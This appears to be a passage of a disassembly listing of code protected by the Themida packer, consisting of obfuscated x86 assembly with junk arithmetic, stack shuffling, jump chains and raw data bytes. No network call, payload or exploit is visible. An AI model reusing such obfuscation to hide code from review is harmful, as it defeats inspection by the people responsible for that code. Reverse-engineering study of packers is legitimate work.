; ---------------------------------------------------------------------------


loc_592682:				; CODE XREF: Themida_:0058E50Fj
		mov	ebp, ebx
		jmp	loc_58CED7
; ---------------------------------------------------------------------------


loc_592689:				; CODE XREF: Themida_:0058CD02j
		push	edx
		mov	edx, 477E3585h
		jmp	loc_59361D
; ---------------------------------------------------------------------------
		dd 0FE31F731h, 0FB31DF31h, 0D3F7DF31h, 0FE87DF87h, 8146D6F7h
		dd 4ECh, 240C8900h, 0E31F58B9h,	49EE812Ch, 161D320h, 49C681CEh
		dd 5961D320h, 35DEE81h,	0F7016615h, 0DD77E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5926D2:				; CODE XREF: Themida_:0058C06Aj
		shl	eax, 8
		jp	loc_58C2DF
		and	eax, 51F53A7Fh
		jg	loc_58C050
		mov	ch, 0E4h
		push	ebx


loc_5926EA:				; CODE XREF: Themida_:00595D92j
		add	[esp+4], ecx
		jmp	loc_593F35
; ---------------------------------------------------------------------------
		db 81h
		dd 9DFFC1F3h, 0E9D88997h, 0FFFFBEC0h
; ---------------------------------------------------------------------------


loc_592700:				; CODE XREF: Themida_:005976A3j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	0C59h
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		jmp	loc_591EDB
; ---------------------------------------------------------------------------
		dd 0BE7E8A0Fh, 0F380FFFFh, 86E38664h, 86D2F6D4h, 88E386D4h
		dd 73E957DBh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592737:				; CODE XREF: Themida_:00590F2Aj
		push	esi
		jmp	loc_593B13
; ---------------------------------------------------------------------------
		db 0B1h, 4Bh, 88h
		dd 0F68059CEh, 0C960E912h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59274A:				; CODE XREF: Themida_:0058E2FBj
		sub	eax, 6B212B36h
		sub	edx, eax
		pop	eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_592757:				; CODE XREF: Themida_:loc_58C6A6j
		jmp	loc_58C17E
; ---------------------------------------------------------------------------


loc_59275C:				; CODE XREF: Themida_:0058F186j
		mov	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, ebp
		mov	ebx, eax
		pop	eax
		pop	ebp
		and	ebx, 254C0B5Fh
		push	edi
		mov	edi, 213606B8h
		jmp	loc_58F35B
; ---------------------------------------------------------------------------


loc_592777:				; CODE XREF: Themida_:00597FF2j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	eax
		jmp	loc_58A70D
; ---------------------------------------------------------------------------


loc_592784:				; CODE XREF: Themida_:005954A8j
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 33CB21E3h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		and	ebp, 1FC73DB4h
		xor	ebp, 16837E40h
		push	edx
		jmp	loc_597E13
; ---------------------------------------------------------------------------


loc_5927B1:				; CODE XREF: Themida_:0059165Bj
		not	eax
		jmp	loc_5919BD
; ---------------------------------------------------------------------------
		dd 2424D25Ch, 7B0CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5927C2:				; CODE XREF: Themida_:0058A333j
		mov	ebx, 24A853CEh
		push	esi
		jmp	loc_596BA6
; ---------------------------------------------------------------------------


loc_5927CD:				; CODE XREF: Themida_:0058E490j
		sub	al, 2Fh
		pop	bx
		push	cx
		mov	cl, 62h
		jmp	loc_58BCA5
; ---------------------------------------------------------------------------


loc_5927DA:				; CODE XREF: Themida_:0058F02Fj
		sub	ecx, ebp
		jmp	loc_58CB4F
; ---------------------------------------------------------------------------


loc_5927E1:				; CODE XREF: Themida_:00593BA0j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_590F10
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 2B824h, 0C3010000h, 0E924048Bh, 0FFFF886Ch
; ---------------------------------------------------------------------------


loc_592804:				; CODE XREF: Themida_:0058F149j
		push	ecx
		mov	ecx, 79E4EF3h
		or	ecx, 52AE1378h
		jo	loc_58F760
		sub	ecx, 2772EBF7h
		and	ecx, 3A3D56A7h
		add	ecx, 3404EA63h
		mov	ebx, ecx
		pop	ecx
		xor	ebx, edx
		pop	edx
		push	edx
		jmp	loc_593D17
; ---------------------------------------------------------------------------


loc_592834:				; CODE XREF: Themida_:00591704j
		add	ebx, 107B3949h
		jmp	loc_594200
; ---------------------------------------------------------------------------


loc_59283F:				; CODE XREF: Themida_:005939EFj
		pop	edi
		jmp	loc_58BA75
; ---------------------------------------------------------------------------


loc_592845:				; CODE XREF: Themida_:0058DDD0j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 1
		push	esi
		pop	edx
		pop	esi


loc_592857:				; CODE XREF: Themida_:0058D1F2j
					; Themida_:00592129j
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_591AF7
; ---------------------------------------------------------------------------
		align 4
		dd 0F8EB80C3h, 0F41EB80h, 5456C0B6h, 0C9B9515Eh, 0C1172435h
		dd 0E1C104E1h, 515AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592882:				; CODE XREF: Themida_:0058CCC8j
		sub	ebx, 0FFFDBA48h
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_58ED84
; ---------------------------------------------------------------------------


loc_592890:				; CODE XREF: Themida_:00593469j
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	12AAh
		mov	[esp], esp
		push	46D9h
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_58AE90
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0E9502414h, 341Ah, 240C8B66h, 5BFC68h, 24048900h, 405E089h
		dd 68000000h, 2B3Fh, 0BB241C89h, 2664151Fh, 0C104EBC1h
		dd 890F03E3h, 0FFFFB956h, 0A86EB81h, 0E9561332h, 0FFFF9991h
		dd 0F380C08Ah, 8BDE30B3h, 0C481241Ch, 4, 88F48850h, 148B58E7h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 2F045Ch
		dd 0FE5BE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592972:				; CODE XREF: Themida_:00597CF1j
		add	ebp, 62701BEBh
		jmp	loc_58DD66
; ---------------------------------------------------------------------------


loc_59297D:				; CODE XREF: Themida_:0058F30Fj
		add	esp, 4
		jmp	loc_593523
; ---------------------------------------------------------------------------


loc_592988:				; CODE XREF: Themida_:00591342j
		add	ebp, 1D896B42h
		mov	edx, ebp
		pop	ebp
		jmp	loc_5904D1
; ---------------------------------------------------------------------------


loc_592996:				; CODE XREF: Themida_:0059578Cj
		not	dh
		xchg	ch, dh
		push	ecx
		jmp	loc_595079
; ---------------------------------------------------------------------------


loc_5929A0:				; CODE XREF: Themida_:00595C8Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 198E2AF4h
		not	esi
		add	esi, 198E2AF9h
		add	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_59722C
; ---------------------------------------------------------------------------


loc_5929C8:				; CODE XREF: Themida_:005979FFj
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		push	758E61EDh
		pop	ebx
		push	1A6Eh
		mov	[esp], ecx
		mov	ecx, 594A35A8h
		or	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_58E6F8
; ---------------------------------------------------------------------------


loc_5929EC:				; CODE XREF: Themida_:0059305Fj
		pop	eax
		sub	ecx, edi
		push	edx
		mov	edx, 43D054F8h
		sub	ecx, edx
		jmp	loc_591A9C
; ---------------------------------------------------------------------------
		dd 0E60DF3BAh, 1C2811Eh, 0E9000000h, 3DBh
; ---------------------------------------------------------------------------


loc_592A0C:				; CODE XREF: Themida_:00596BA1j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58C48D
; ---------------------------------------------------------------------------


loc_592A17:				; CODE XREF: Themida_:00595711j
		shl	ebp, 8
		jmp	loc_5934E2
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9542404h, 0FFFFE5DAh
; ---------------------------------------------------------------------------


loc_592A28:				; CODE XREF: Themida_:00590644j
		xchg	edx, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58AA99
; ---------------------------------------------------------------------------


loc_592A3A:				; CODE XREF: Themida_:00594057j
		pop	bx
		add	al, 57h
		jmp	loc_58EB0E
; ---------------------------------------------------------------------------


loc_592A43:				; CODE XREF: Themida_:00592F7Dj
		xor	ebx, 6B84F12Bh
		mov	esi, ebx
		pop	ebx
		sub	ebp, esi
		pop	esi
		jmp	loc_593351
; ---------------------------------------------------------------------------


loc_592A54:				; CODE XREF: Themida_:005909BAj
		mov	eax, ebp
		pop	ebp
		dec	eax
		shr	eax, 5
		inc	eax
		jmp	loc_59107C
; ---------------------------------------------------------------------------


loc_592A61:				; CODE XREF: Themida_:0058EB9Dj
		sub	dl, 15h
		sub	bh, dl
		pop	edx
		sub	al, bh
		jmp	loc_594F0A
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4D4425EEh, 3518E948h, 2C8B0000h, 37E4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592A82:				; CODE XREF: Themida_:00591E06j
		mov	ebp, 15AF34A5h
		xor	ebp, 732957FCh
		sub	eax, 2DFA0828h
		jmp	loc_5937E0
; ---------------------------------------------------------------------------
		db 81h
		dd 3927B5F1h, 9EE18140h, 812D5A15h, 0F749ECC1h,	59CB01DCh
		dd 0EB81EB01h, 1114E88h, 51242C8Bh, 0C181E189h,	4, 4C181h
		dd 0C870000h, 0F3815C24h, 106B25FBh, 9BE9D901h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592AD7:				; CODE XREF: Themida_:00596104j
		pop	edx
		add	eax, edi
		sub	eax, 24E66FABh
		pop	edi
		jmp	loc_58F22F
; ---------------------------------------------------------------------------
aSq		db ')Πιο&',0
		align 4
		dd 3125C281h, 0C28136D1h, 2E7109CFh, 0E95AD089h, 0FFFF83B8h
		dd 92ED815Bh, 314CBF50h, 0BD555DE8h, 0D4411BDh,	5CA7BD55h
		dd 0B8502690h, 454A6973h, 4E88BC35h, 0E9C501BAh, 0C6Eh
		dd 405h, 4BF5700h, 1000000h, 243C8BF8h,	4C481h,	4870000h
		dd 24248B24h, 0E99CC83Bh, 0FFFF7782h, 0FF2434FFh, 59E92434h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592B57:				; CODE XREF: Themida_:00596DF1j
		add	esp, 4
		push	edi
		sub	dword ptr [esp], 307A4C27h
		pop	edx
		add	edx, 307A4C27h
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_593925
; ---------------------------------------------------------------------------


loc_592B77:				; CODE XREF: Themida_:0058CC64j
		mov	ecx, 10930B62h
		add	edx, 64636A58h
		jmp	loc_591984
; ---------------------------------------------------------------------------


loc_592B87:				; CODE XREF: Themida_:00594A54j
		push	eax
		mov	eax, 404916D3h
		sub	eax, 661C3656h
		push	ebp
		jmp	loc_594688
; ---------------------------------------------------------------------------


loc_592B98:				; CODE XREF: Themida_:00596134j
		pop	eax
		xchg	edx, [esp]
		jmp	loc_594290
; ---------------------------------------------------------------------------


loc_592BA1:				; CODE XREF: Themida_:00597CA0j
		shr	ebp, 2
		jmp	loc_58B132
; ---------------------------------------------------------------------------


loc_592BA9:				; CODE XREF: Themida_:00592E96j
		pop	eax
		mov	edi, ecx
		jmp	loc_58C2C5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Bh, 0E9000000h, 0FFFF770Eh, 2DEB8059h,	0FFC0B60Fh
		dd 0FFE98734h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592BCF:				; CODE XREF: Themida_:0058F3CBj
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_595DF6
; ---------------------------------------------------------------------------


loc_592BDB:				; CODE XREF: Themida_:00597C60j
		pop	eax
		push	ebx
		jmp	loc_593289
; ---------------------------------------------------------------------------
		dw 0FEB6h
		dd 1DC680h, 1DEE80DEh, 0B151665Bh, 66CF0036h, 80F70059h
		dd 8B6636EFh, 0C4832414h, 0FED7F602h, 8AC780C7h, 1C8BF830h
		dd 520CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592C12:				; CODE XREF: Themida_:00596876j
		or	dh, 53h
		sub	dh, 27h
		jmp	loc_5967C2
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 4, 2E981h, 0FF510000h, 59042474h, 16DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_592C35:				; CODE XREF: Themida_:0059576Ej
		push	eax
		mov	eax, 451B6CF4h
		sub	edi, 770E5CE1h
		add	edi, eax
		add	edi, 770E5CE1h
		pop	eax
		push	ebx
		push	edi
		jmp	loc_58DDD5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 55000000h, 0BDh, 87DD2900h, 0F3815DEBh, 39A8EA96h, 0E95BDF01h
		dd 0FFFF8515h, 6BF4F281h, 0D7011470h, 4C7835Ah,	0E9243C87h
		dd 0FFFFF51Ch
; ---------------------------------------------------------------------------


loc_592C84:				; CODE XREF: Themida_:00596C0Ej
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3A5Ah
		mov	[esp], edx
		jmp	loc_58E25F
; ---------------------------------------------------------------------------


loc_592CAD:				; CODE XREF: Themida_:005944A2j
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4FF244DEh
		and	ecx, 30932247h
		shr	ecx, 7
		jmp	loc_595B5C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 15C2414h,	384AE9EEh, 0C7830000h
		dd 74FF5702h, 8F5F0424h, 248B2404h, 92F2E924h, 4E4EFFFFh
		dd 0B2E9EE81h, 0F201FF3Ah, 0E950535Eh, 0FFFFD147h, 800FDDBEh
		dd 2F1AE922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592D12:				; CODE XREF: Themida_:00595BFCj
		push	ebp
		jmp	loc_58A7ED
; ---------------------------------------------------------------------------
		dd 52D80166h, 5B5FBA66h, 0FFDF4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592D25:				; CODE XREF: Themida_:005934A9j
		push	ebp
		push	edx
		push	ebx
		push	eax
		mov	eax, 22CE577Bh
		sub	[esp+4], eax
		pop	eax
		pop	edx
		add	edx, 22CE577Bh
		push	eax
		mov	eax, edx
		mov	ebp, eax
		pop	eax
		jmp	loc_58F5ED
; ---------------------------------------------------------------------------


loc_592D45:				; CODE XREF: Themida_:00591144j
		pop	ebp
		dec	ebp
		jno	loc_5946F3
		jmp	loc_595BE2
; ---------------------------------------------------------------------------
		dw 0E389h
		db 0C6h, 0C3h, 0D5h
; ---------------------------------------------------------------------------


loc_592D57:				; CODE XREF: Themida_:0058D345j
		add	eax, 25CB2E99h
		add	eax, ebx
		jmp	loc_596667
; ---------------------------------------------------------------------------


loc_592D63:				; CODE XREF: Themida_:0058BE37j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5977C3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 24048F04h, 0E924248Bh, 3F1h, 66DCB951h
		dd 0E1811F26h, 62BE305Dh, 188AE9h, 4C48100h, 55000000h
		dd 8904EC83h, 4832424h,	2C8B0424h, 4C48324h, 4C581h, 0CDE90000h
		dd 35FFFFFFh, 343C3081h, 2DD8F740h, 0D65EC330h,	6858C301h
		dd 30E7h, 0FF7E3BE9h, 8001B1FFh, 8DE901E9h, 0E9FFFFA3h
		dd 51D7h
; ---------------------------------------------------------------------------


loc_592DDC:				; CODE XREF: Themida_:00591F4Dj
		add	edi, 13014DF9h
		jmp	loc_5913A4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7EB5E9D2h, 0EE81FFFFh, 1E6C006Fh, 8E6C15Bh, 95E9FE31h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592DFF:				; CODE XREF: Themida_:0058FCA4j
		shr	edi, 6
		jmp	loc_58B5F8
; ---------------------------------------------------------------------------


loc_592E07:				; CODE XREF: Themida_:005933A9j
		sub	dword ptr [esp], 2E3970AFh
		jmp	loc_58D4B8
; ---------------------------------------------------------------------------


loc_592E13:				; CODE XREF: Themida_:0058D0A9j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		sub	esi, ecx
		jmp	loc_596A94
; ---------------------------------------------------------------------------


loc_592E29:				; CODE XREF: Themida_:0058C985j
		xchg	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, [esp]
		mov	eax, [esp]
		push	esi
		jmp	loc_594466
; ---------------------------------------------------------------------------
		dw 585Fh
		dd 2244805h, 0C098E917h, 5E66FFFFh, 55196866h, 242C8966h
		dd 4F5EE951h, 8B660000h, 4DE9240Ch
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592E67:				; CODE XREF: Themida_:00593F13j
		mov	ebp, [esp]
		jmp	loc_58C2F9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 0F7662434h, 0AAE92414h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592E7F:				; CODE XREF: Themida_:0058EA24j
		and	eax, ebp
		jmp	loc_58A946
; ---------------------------------------------------------------------------
		dw 3A68h
		dd 5D44AB32h, 0E958C531h, 0FFFFBD37h
; ---------------------------------------------------------------------------


loc_592E94:				; CODE XREF: Themida_:0058FFEDj
		xor	ecx, eax
		jmp	loc_592BA9
; ---------------------------------------------------------------------------


loc_592E9B:				; CODE XREF: Themida_:0059139Fj
		add	esp, 4
		push	eax
		mov	eax, 16363E2Ch
		add	eax, 42DDEC27h
		add	ecx, 277416BDh
		add	ecx, eax
		sub	ecx, 277416BDh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58A73F
; ---------------------------------------------------------------------------


loc_592EC5:				; CODE XREF: Themida_:00596CFFj
		add	edx, 0A5C016Ch
		mov	edi, edx
		pop	edx
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_58F8F2
; ---------------------------------------------------------------------------


loc_592ED8:				; CODE XREF: Themida_:0058C492j
		mov	ebp, esp
		push	ebx
		mov	ebx, 69446953h
		jmp	loc_58F508
; ---------------------------------------------------------------------------


loc_592EE5:				; CODE XREF: Themida_:0058D2B1j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		push	6E84h
		mov	[esp], esi
		jmp	loc_5919E2
; ---------------------------------------------------------------------------


loc_592EFC:				; CODE XREF: Themida_:00597663j
		cmp	cl, al
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_592F04:				; CODE XREF: Themida_:0058F22Aj
					; Themida_:0058F78Dj
		sub	ecx, 49AE3A1Ah
		sub	ecx, eax
		push	edi
		jmp	loc_5964F6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2BA5204h, 1000000h, 24148BD6h, 3304C483h, 34312434h
		dd 24343324h, 0D324248Bh, 0E99C2424h, 0FFFF7396h, 6D07B966h
		dd 244C2966h, 0E9596604h, 15D4h, 5253DA86h, 2EE94CB6h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592F53:				; CODE XREF: Themida_:00596CA6j
		inc	bl
		xor	bl, 0BFh
		sub	dl, bl
		mov	ebx, [esp]
		jmp	loc_58C133
; ---------------------------------------------------------------------------


loc_592F62:				; CODE XREF: Themida_:0059162Dj
					; Themida_:005945E9j
		push	6F5B0DA5h
		pop	ebx
		or	ebx, 760E4BB8h
		jz	loc_596F86
		xor	ebx, 703859EDh
		shr	ebx, 7
		jnz	loc_592A43
		xor	ebx, 6B84F12Bh
		mov	esi, ebx
		pop	ebx
		push	ecx
		pop	esp
		mov	[esp], ebp
		push	7C11h
		jmp	loc_58CEB9
; ---------------------------------------------------------------------------
		db 50h
		dd 774CF8B8h, 58C50156h, 0FF9883E9h, 1C77FFFFh,	6658669Dh
		dd 9C240411h, 0FF7315E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592FB9:				; CODE XREF: Themida_:0058B544j
		mov	[esp], ebp
		mov	ebp, 6C142162h
		inc	ebp
		push	ebx
		mov	ebx, 1DF62AB5h
		and	ebx, 475B4451h
		shr	ebx, 8
		jmp	loc_597A33
; ---------------------------------------------------------------------------


loc_592FD6:				; CODE XREF: Themida_:0058E285j
		inc	eax
		and	eax, 4FBE5081h
		xor	eax, 0C381824Fh
		add	edi, eax
		jmp	loc_596139
; ---------------------------------------------------------------------------


loc_592FE8:				; CODE XREF: Themida_:005975D4j
					; Themida_:0059796Fj
		xor	edx, 0A7079D3h
		pop	ebx
		or	[edi+1Ch], edx
		jmp	loc_58C103
; ---------------------------------------------------------------------------


loc_592FF7:				; CODE XREF: Themida_:0058B9A3j
		shl	ecx, 5
		inc	ecx
		jmp	loc_58F916
; ---------------------------------------------------------------------------


loc_593000:				; CODE XREF: Themida_:0058DC92j
		pop	edi
		push	ecx
		mov	ecx, 4C797903h
		shr	ecx, 5
		add	ecx, 1A37A6D4h
		jmp	loc_590D5E
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 31240C33h, 0C33240Ch, 0B550E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593026:				; CODE XREF: Themida_:0058BD26j
		jo	loc_5966C1
		push	ebp
		mov	ebp, 247D70B9h
		xor	edi, ebp
		pop	ebp
		add	edi, 9A49F687h
		or	edi, 65DC2AC7h
		shr	edi, 3
		xor	edi, 434A9B9Eh
		push	eax
		mov	eax, 45B23FC3h
		shl	eax, 5
		and	eax, 4E34376Ch
		add	eax, 3DCC2498h
		add	ecx, eax
		jmp	loc_5929EC
; ---------------------------------------------------------------------------


loc_593064:				; CODE XREF: Themida_:0058D971j
		sub	esi, 7BF3BC75h
		xor	edx, esi
		pop	esi
		mov	edi, edx
		pop	edx
		sub	edi, 6BB62C5Eh
		add	edi, ebp
		jmp	loc_58B87E
; ---------------------------------------------------------------------------


loc_59307D:				; CODE XREF: Themida_:005923A7j
		xchg	ebp, [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, ebp
		jmp	loc_58D2E6
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 52h
		dd 546E2BAh, 886EE97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59309E:				; CODE XREF: Themida_:00593AF7j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2, 6D1DC281h, 0C2010B1Eh, 6D1DEA81h,	33580B1Eh, 14312414h
		dd 24143324h, 0FFF6F3E9h, 0C8B66FFh, 74EBE924h,	48FFFFFh
		dd 0E1F75C24h, 4EC81h, 4890000h, 0E3895324h, 113AE9h, 240C8900h
		dd 0C181E189h, 4, 0FFFF20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5930F5:				; CODE XREF: Themida_:0058F75Bj
		and	eax, edi
		pop	edi
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_58E72E
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 5A2434FFh, 4C481h, 0C5830000h, 242C3302h, 33242C31h
		dd 0E95C242Ch, 0FFFFA286h, 3810EB81h, 0EB0162F1h, 3810C381h
		dd 2C8B62F1h, 8D73E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593136:				; CODE XREF: Themida_:005931B2j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_5910F4
; ---------------------------------------------------------------------------


loc_59314C:				; CODE XREF: Themida_:0059316Cj
		push	ecx
		jmp	loc_5906BA
; ---------------------------------------------------------------------------


loc_593152:				; CODE XREF: Themida_:0058D53Bj
		jmp	loc_5936E4
; ---------------------------------------------------------------------------


loc_593157:				; CODE XREF: Themida_:0058D875j
		add	ebp, ecx
		sub	ebp, 24C13372h
		pop	ecx
		jmp	loc_593886
; ---------------------------------------------------------------------------


loc_593165:				; CODE XREF: Themida_:00596D0Fj
		pop	edx
		add	edx, 4
		jmp	loc_59314C
; ---------------------------------------------------------------------------
		db 31h,	0C3h, 66h
		dd 6800B60Fh, 73D2h, 68243489h,	4AF6h, 83242489h, 5E042404h
		dd 4EC81h, 3C890000h, 11C4E924h, 30AC0000h, 10A4E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5931A2:				; CODE XREF: Themida_:00594DE3j
		mov	ebx, 6D5159B4h
		xor	edi, ebx
		pop	ebx
		xor	edi, 3F9EF461h
		xor	eax, edi
		jmp	loc_593136
; ---------------------------------------------------------------------------
		db 52h
		dd 2BAh, 5AD10100h, 0FF7B48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5931C5:				; CODE XREF: Themida_:00592330j
		sub	edx, 542535BEh
		pop	ebp
		sub	edx, ebp
		sub	edx, 25953E76h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_595E8C
; ---------------------------------------------------------------------------


loc_5931E2:				; CODE XREF: Themida_:0058BE54j
		add	ecx, ebx
		sub	ecx, 4E817D08h
		pop	ebx
		sub	ecx, 1BFB40A4h
		add	ecx, edi
		push	eax
		mov	eax, 3B3522FFh
		shl	eax, 2
		jmp	loc_58E7C2
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0EEh
		dd 89001420h, 0C7815BD9h, 4E9335EAh, 0FFAE59E9h, 8BE688FFh
		dd 0B3E92404h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59321F:				; CODE XREF: Themida_:00594043j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5945F8
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF93DFE9h, 0DAF75FFFh, 2414F752h, 50DAF75Ah, 0E43252B8h
		dd 78EF354Bh, 0E7050483h, 0E9804A50h, 0FFFFA649h, 32DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_593261:				; CODE XREF: Themida_:0058EAFDj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58DDBC
; ---------------------------------------------------------------------------


loc_593273:				; CODE XREF: Themida_:00591251j
		push	edi
		jmp	loc_58D484
; ---------------------------------------------------------------------------
		db 0B7h, 0F1h, 30h
		dd 200459EFh, 202CF800h, 0FF8613E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593289:				; CODE XREF: Themida_:00592BDDj
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_58DF3A
; ---------------------------------------------------------------------------


loc_593299:				; CODE XREF: Themida_:loc_58CBB7j
		shl	ebx, 2
		jz	loc_58C41D
		sub	ebx, 52F96193h
		jmp	loc_5948AC
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 0FFFFCF01h, 83241C8Bh, 0C38104C4h, 4, 0FFF527E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5932C5:				; CODE XREF: Themida_:00595641j
		sub	ebx, 0FFFDBA48h
		jmp	loc_59125D
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD25966h, 0EFE99C24h, 0BEFFFF6Fh, 19AF2C1Ch
		dd 15EF589h, 1AE95DEFh
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5932EF:				; CODE XREF: Themida_:0058F56Dj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebx
		push	65B8h
		mov	[esp], ebp
		mov	ebp, 21427A4Ah
		shr	ebp, 6
		shr	ebp, 8
		push	ecx
		push	eax
		mov	eax, 762B133Ah
		shl	eax, 1
		jmp	loc_59005F
; ---------------------------------------------------------------------------


loc_593320:				; CODE XREF: Themida_:00594C37j
		push	edi
		mov	edi, 1E894B47h
		or	edi, 714C55F1h
		shl	edi, 8
		not	edi
		neg	edi
		sub	edi, 4DF82AD0h
		push	ecx
		mov	ecx, 41495911h
		neg	ecx
		push	edi
		mov	edi, 10C921DEh
		xor	ecx, edi
		pop	edi
		xchg	ebp, ecx
		jmp	loc_58FA59
; ---------------------------------------------------------------------------


loc_593351:				; CODE XREF: Themida_:00592A4Fj
		sub	ebp, edi
		push	edi
		jmp	loc_58F89A
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 35h
		dd 0E95CE470h, 0FFFFDAD7h, 3FED68h, 24248900h, 4B850h
		dd 44010000h, 54E90424h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59337B:				; CODE XREF: Themida_:0058F36Ej
		add	edi, 1F3F4887h
		jmp	loc_58F736
; ---------------------------------------------------------------------------
		dw 0E953h
